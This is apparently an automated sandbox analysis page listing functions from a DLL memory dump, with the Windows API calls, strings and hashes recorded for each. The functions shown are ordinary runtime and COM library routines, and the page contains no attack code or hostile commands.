VariantClear.OLEAUT32(?), ref: 6D01AD07

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$ClearInit
String ID:
API String ID: 2610073882-0
Opcode ID: 89f8b3f4b40b1a0e2c0d33886e8b185396aa9e574f5306c8a6d23b5db97d78a6
Instruction ID: 0e5ddd27d3688bd6a59981e39819e6a1eeb5e5e089f4937a8b208e5fe1b1e07a
Opcode Fuzzy Hash: 89f8b3f4b40b1a0e2c0d33886e8b185396aa9e574f5306c8a6d23b5db97d78a6
Instruction Fuzzy Hash: 0BC15A716087419FD300DF98C880E6ABBE6FFC8304F248A5DF5958B265D731E84ACB92

Function 6D019D00 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 326COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D019DEB
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D019DFB
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6D019E29
SafeArrayDestroy.OLEAUT32(?), ref: 6D019F25
VariantClear.OLEAUT32(?), ref: 6D019FE5

Strings

@, xrefs: 6D019DD7

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Bound$ClearDestroyElementVariant
String ID: @
API String ID: 3214203402-2766056989
Opcode ID: c44104399c85a9ea07f27ce636f27913392d2385680f9a5aebf3df26344ff71c
Instruction ID: c82e4597864167146d3e0ef2c441a56ff70df8b8ab13002fbb91bb3b5fccc951
Opcode Fuzzy Hash: c44104399c85a9ea07f27ce636f27913392d2385680f9a5aebf3df26344ff71c
Instruction Fuzzy Hash: 27D15B71D0824ADFEB00DFE8C884AADB7F6BF49304F64816DE515AB254D731AA46CB90

Function 6D01B300 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 326COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D01B3EB
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D01B3FB
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6D01B429
SafeArrayDestroy.OLEAUT32(?), ref: 6D01B525
VariantClear.OLEAUT32(?), ref: 6D01B5E5

Strings

@, xrefs: 6D01B3D7

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Bound$ClearDestroyElementVariant
String ID: @
API String ID: 3214203402-2766056989
Opcode ID: a2912ccc27e67239d3b0a403dda39e78501cfa5ff61cb6231134219b8cfd6a91
Instruction ID: 685e8d06d1c56ee0bc0343b279d96f4cb9f2edc7f19c1b001190f20b901e86ff
Opcode Fuzzy Hash: a2912ccc27e67239d3b0a403dda39e78501cfa5ff61cb6231134219b8cfd6a91
Instruction Fuzzy Hash: 35D15A71E0825A8FEB00DFE8C884BADBBF6BF49304F64815DE515AB354D734AA45CB90

Function 6D041580 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 277COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6D0416B2

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

__CxxThrowException@8.LIBCMT ref: 6D04180A

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

Strings

exceeds the maximum of , xrefs: 6D04173F
: message length of , xrefs: 6D04170D
for this public key, xrefs: 6D041771
: this key is too short to encrypt any messages, xrefs: 6D04162A

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaiseXinvalid_argumentstd::_
String ID: exceeds the maximum of $ for this public key$: message length of $: this key is too short to encrypt any messages
API String ID: 3807434085-412673420
Opcode ID: 725bc88466333ef128fec634a7474e490e76b85d0908e2a5649e14508e0f81cd
Instruction ID: 840707e1ed13963aa0105a53cfa50e1364573bba2106a785b6cbba072f87ed20
Opcode Fuzzy Hash: 725bc88466333ef128fec634a7474e490e76b85d0908e2a5649e14508e0f81cd
Instruction Fuzzy Hash: 7DB14E7150C380AFE320DB69D890F9BBBE9AFD9314F05891DE59D83251DB70A905CBA3

Function 6D0613A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D0613BE

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

_memmove.LIBCMT ref: 6D061431
_memmove.LIBCMT ref: 6D061456
_memmove.LIBCMT ref: 6D061493
_memmove.LIBCMT ref: 6D0614B0

Strings

deque<T> too long, xrefs: 6D0613B9

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _memmove$std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 4034224661-309773918
Opcode ID: b6b5fb2fabc54f7aefa0626a90e9a3e0d263aa96e963fa18528e161fb0fd7b1c
Instruction ID: f204976206d328e0fc6d6d28579ad10cdb6b2022be33959a4b77e2d8338e4e62
Opcode Fuzzy Hash: b6b5fb2fabc54f7aefa0626a90e9a3e0d263aa96e963fa18528e161fb0fd7b1c
Instruction Fuzzy Hash: 33410672A042454BE704CF68DC81B6BB7E6EFC4614F0A862CE909D7749EA34ED05C7B2

Function 6D061250 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D06126E

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

_memmove.LIBCMT ref: 6D0612E0
_memmove.LIBCMT ref: 6D061305
_memmove.LIBCMT ref: 6D061342
_memmove.LIBCMT ref: 6D06135F

Strings

deque<T> too long, xrefs: 6D061269

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _memmove$std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 4034224661-309773918
Opcode ID: c38bd93cf83285d96e22f2fa60bc6bc5334589badfba1564c591d34d1dd3197f
Instruction ID: 0ac30caf419e4daf28b8269760a57a0d9313d4c773c2ad0fc6deebde25892c71
Opcode Fuzzy Hash: c38bd93cf83285d96e22f2fa60bc6bc5334589badfba1564c591d34d1dd3197f
Instruction Fuzzy Hash: 25411772A042515BE704CF68DC8076BB7E6EFC4614F09862CE909D7745FA34ED0587B2

Function 6D004D90 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D004DA9

Part of subcall function 6D069125: std::exception::exception.LIBCMT ref: 6D06913A
Part of subcall function 6D069125: __CxxThrowException@8.LIBCMT ref: 6D06914F
Part of subcall function 6D069125: std::exception::exception.LIBCMT ref: 6D069160

std::_Xinvalid_argument.LIBCPMT ref: 6D004DCA
std::_Xinvalid_argument.LIBCPMT ref: 6D004DE5
_memmove.LIBCMT ref: 6D004E4D

Strings

string too long, xrefs: 6D004DC5, 6D004DE0
invalid string position, xrefs: 6D004DA4

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 443534600-4289949731
Opcode ID: 9167e4015e1f9ab875e32e6e48067d344a6f432e88e8b19be58b513db84d36ec
Instruction ID: 0241cac39be8620d4e020e7b2bf0a2553eb218fc26db1283fadc369eba4f2dd7
Opcode Fuzzy Hash: 9167e4015e1f9ab875e32e6e48067d344a6f432e88e8b19be58b513db84d36ec
Instruction Fuzzy Hash: 6C31D632304251BFF7249E6CE880B6AF3E9AFA8324B21062FE651CB641D760D84083A5

Function 6D0744E9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 6D074532
DName::operator+.LIBCMT ref: 6D074539
DName::DName.LIBCMT ref: 6D07455B
DName::operator+.LIBCMT ref: 6D074562
DName::operator+.LIBCMT ref: 6D074569

Strings

throw(, xrefs: 6D07452A, 6D074553

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: c53c7905e3d6975fda640ff1978571ff353d14d8053fef05d363e32804238439
Instruction ID: 439913017b1c9770480c01ccdaab3ee2fe79e6604b6805362e2b9abb2d0009e2
Opcode Fuzzy Hash: c53c7905e3d6975fda640ff1978571ff353d14d8053fef05d363e32804238439
Instruction Fuzzy Hash: D001B574604109BFEF14DFA4C851FFD7BB9EB48308F454155EA019F291DB30D9468798

Function 6D06E9B9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,6D099880,00000008,6D06EAC1,00000000,00000000,?,?,6D06D7DD,6D069DEF,00000000,?,6D069BD4,6D001290,4E8A916F), ref: 6D06E9CA
__lock.LIBCMT ref: 6D06E9FE

Part of subcall function 6D072438: __mtinitlocknum.LIBCMT ref: 6D07244E
Part of subcall function 6D072438: __amsg_exit.LIBCMT ref: 6D07245A
Part of subcall function 6D072438: EnterCriticalSection.KERNEL32(6D069BD4,6D069BD4,?,6D06EA03,0000000D), ref: 6D072462

InterlockedIncrement.KERNEL32(FFFFFEF5), ref: 6D06EA0B
__lock.LIBCMT ref: 6D06EA1F
___addlocaleref.LIBCMT ref: 6D06EA3D

Strings

KERNEL32.DLL, xrefs: 6D06E9C5

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: cf9781711006619d5b1412aaf2f6e3ab48ccd0e72936381daca79c510162d7ad
Instruction ID: e0039bb85fd84624bd18c5bdd9d03d7b4b63968c4a4116d415310a07b8f215e4
Opcode Fuzzy Hash: cf9781711006619d5b1412aaf2f6e3ab48ccd0e72936381daca79c510162d7ad
Instruction Fuzzy Hash: 75016171449B409EEB20DF65D804749FBF4FF51319F20890DD599976A1CB74A640CB25

Function 6D01E120 Relevance: 9.4, APIs: 6, Instructions: 364COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(00000000,?,?), ref: 6D01E29B
SafeArrayGetUBound.OLEAUT32(00000000,?,?), ref: 6D01E2B6
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 6D01E2D7

Part of subcall function 6D025760: std::tr1::_Xweak.LIBCPMT ref: 6D025769

SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6D01E309

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

SafeArrayDestroy.OLEAUT32(00000000), ref: 6D01E523
InterlockedCompareExchange.KERNEL32(6D0AC6A4,45524548,4B4F4F4C), ref: 6D01E544

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$BoundData$AccessCompareDestroyExchangeInterlockedUnaccessXweak_mallocstd::tr1::_
String ID:
API String ID: 2722669376-0
Opcode ID: af73010d16bec74a937a3444803de99ed5cf74d593be61c5109ee07fb8a07ed9
Instruction ID: f5691703ee2b62e366454d05ea00d997c948df5671c7db92c26371bfb62870c3
Opcode Fuzzy Hash: af73010d16bec74a937a3444803de99ed5cf74d593be61c5109ee07fb8a07ed9
Instruction Fuzzy Hash: D2D1A075A082069FFB11CFE4CC84BAE77F9AF45304F158569EA05EB281E774E940CBA1

Function 6D028A9A Relevance: 9.1, APIs: 6, Instructions: 130COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 2bd0391f5e21538758fc9921b54425b5cd5c035cce26f35e3cfb9162d1124d3c
Instruction ID: ac6da2f6f23e56582bd52169f25577643377528229d1f8598ab84486bba9cfdc
Opcode Fuzzy Hash: 2bd0391f5e21538758fc9921b54425b5cd5c035cce26f35e3cfb9162d1124d3c
Instruction Fuzzy Hash: EA412974A016199FEB00DFA9CD80F6AB7FAAF89310F60858AE519DB355DB31E841CF50

Function 6D028DE8 Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: c89270e79801b86937f1a42f52ebec801e7dfbe192bd25961ae1e0986cec56db
Instruction ID: 918e33820898e8dca575cfa73b526b8a565ea11bf546845d9ac3aa0e4cd7545d
Opcode Fuzzy Hash: c89270e79801b86937f1a42f52ebec801e7dfbe192bd25961ae1e0986cec56db
Instruction Fuzzy Hash: EC415B74A016199FEF00DF68CC80F6EB7F9AF89210F60859AE518E7255CB31E941CF50

Function 6D020338 Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: c89270e79801b86937f1a42f52ebec801e7dfbe192bd25961ae1e0986cec56db
Instruction ID: 197c81bdf64cc6264378c7df4a774ca83b8098539733f3e00ecf8bed52b0bb6e
Opcode Fuzzy Hash: c89270e79801b86937f1a42f52ebec801e7dfbe192bd25961ae1e0986cec56db
Instruction Fuzzy Hash: 50415D70A016099FEB10CFA9CD80FADB7F9AF89200F60859AE518EB251CB31DA41CF50

Function 6D028CE7 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
